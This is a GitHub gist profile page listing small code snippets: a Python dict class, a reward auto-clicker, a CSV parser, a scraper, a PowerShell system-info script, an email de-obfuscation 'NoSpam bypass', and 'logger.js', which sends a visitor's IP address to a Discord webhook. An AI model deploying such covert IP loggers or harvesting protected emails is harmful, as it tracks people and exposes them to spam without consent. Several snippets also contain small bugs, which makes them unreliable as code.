Skip to content

Instantly share code, notes, and snippets.

View ZSendokame's full-sized avatar
:shipit:
Programming

ZSendokame ZSendokame

:shipit:
Programming
  • 192.168.51.1
  • 01:09 (UTC -04:00)
View GitHub Profile
@ZSendokame
ZSendokame / Insensitive_dict.py
Last active January 8, 2023 15:06
Here, I'll add classes, functions, etc. that I make.
class Insensitive(dict):
def __setitem__(self, key, value):
super().__setitem__(key.lower(), value)
def __getitem__(self, key):
return super().__getitem__(key.lower())
def __delitem__(self, key):
del self[key.lower()]
@ZSendokame
ZSendokame / get.js
Last active August 21, 2022 19:07
Redeem points every 5 minutes.
setInterval(() => {
let reward = document.querySelector('button.ScCoreButton-sc-1qn4ixc-0.ScCoreButtonSuccess-sc-1qn4ixc-5.ffyxRu.gjXDMG')
if (reward !== null) {
reward.click()
}
}, 15000)
@ZSendokame
ZSendokame / csv.py
Last active December 12, 2022 22:02
Here, I'll add a ton of CSV parsers made by me, on various languages.
# Includes type casting.
def parse(file: str, cast: list = [], headers: list = None, sep=';') -> list:
csv_data = []
with open(file, 'r') as csv:
split = csv.read().split('\n')
headers = split[0].split(sep) if headers is None else headers
start = 1 if headers is not None else 0
cast = [str for i in headers] if len(cast) == 0 else cast
let chars = {
"–": "-",
"×": "*",
"÷": "/"
}
function resolve(){
let op = document.querySelector('.qq').textContent;
Object.keys(chars).forEach(function(key){
@ZSendokame
ZSendokame / festivizer.js
Created December 30, 2022 03:46
A "Festivizer" for my last webpage.
// Define all
const date = new Date();
// Festivity Update
if(date.getMonth() == 11){
document.title = `🎄${document.title}🎄`
} else if(date.getMonth() == 9) {
document.title = `🎃${document.title}🎃`
} else if(date.getMonth() == 11 && date.getDay() == 30){
document.title = `🎉${document.title}🎉`
@ZSendokame
ZSendokame / patascraper.py
Last active January 14, 2023 17:29
Made for i^2.
import os
import time
import requests
if not os.path.exists('images'):
os.mkdir('images')
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0'
@ZSendokame
ZSendokame / wfetch.ps1
Last active January 10, 2025 23:33
Neofetch-like, based on zJairo's wfetch but native. (7.3.1 or up)
$uptime = Get-Uptime
$os = Get-CimInstance -ClassName CIM_OperatingSystem
$version = Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine
Write-Host "$env:username@$env:computername"
Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine
Write-Host "Architecture $($operativeSystem.OSArchitecture)"
Write-Host "###### ####### " -ForegroundColor Cyan -NoNewLine
Write-Host "$($uptime.Days)d, $($uptime.Hours)h, $($uptime.Minutes)m"
@ZSendokame
ZSendokame / nospam.py
Last active February 20, 2023 14:24
NoSpam jQuery plugin bypass
def bypass(mail: str, mode='normal') -> str:
if mode == 'normal':
mail = mail[::-1]
mail = mail.replace('//', '@')
mail = mail.replace('/', '.')
return mail
# moc/elpmaxe//oof -> normal mode
@ZSendokame
ZSendokame / logger.js
Created July 2, 2023 17:18
IP logger with no backend, using Discord webhooks. Thanks to Usan.
let webhook_url = 'webhook';
let req = new XMLHttpRequest();
req.open('GET', 'https://api.db-ip.com/v2/free/self');
req.send();
req.onload = () => {
webhook(JSON.parse(req.response)['ipAddress'])
}
function webhook(text) {
@ZSendokame
ZSendokame / Eulers.py
Last active November 3, 2023 18:09
Euler number approximation. Instead of using math.factorial, used that little trick. Discovered while thinking how to make it faster and more precise, didn't found a way to make it more precise
def euler() -> Decimal:
e = Decimal(0)
f = 1
for n in range(2, 100_000):
f *= n
e += Decimal((1 / f))
return e + 2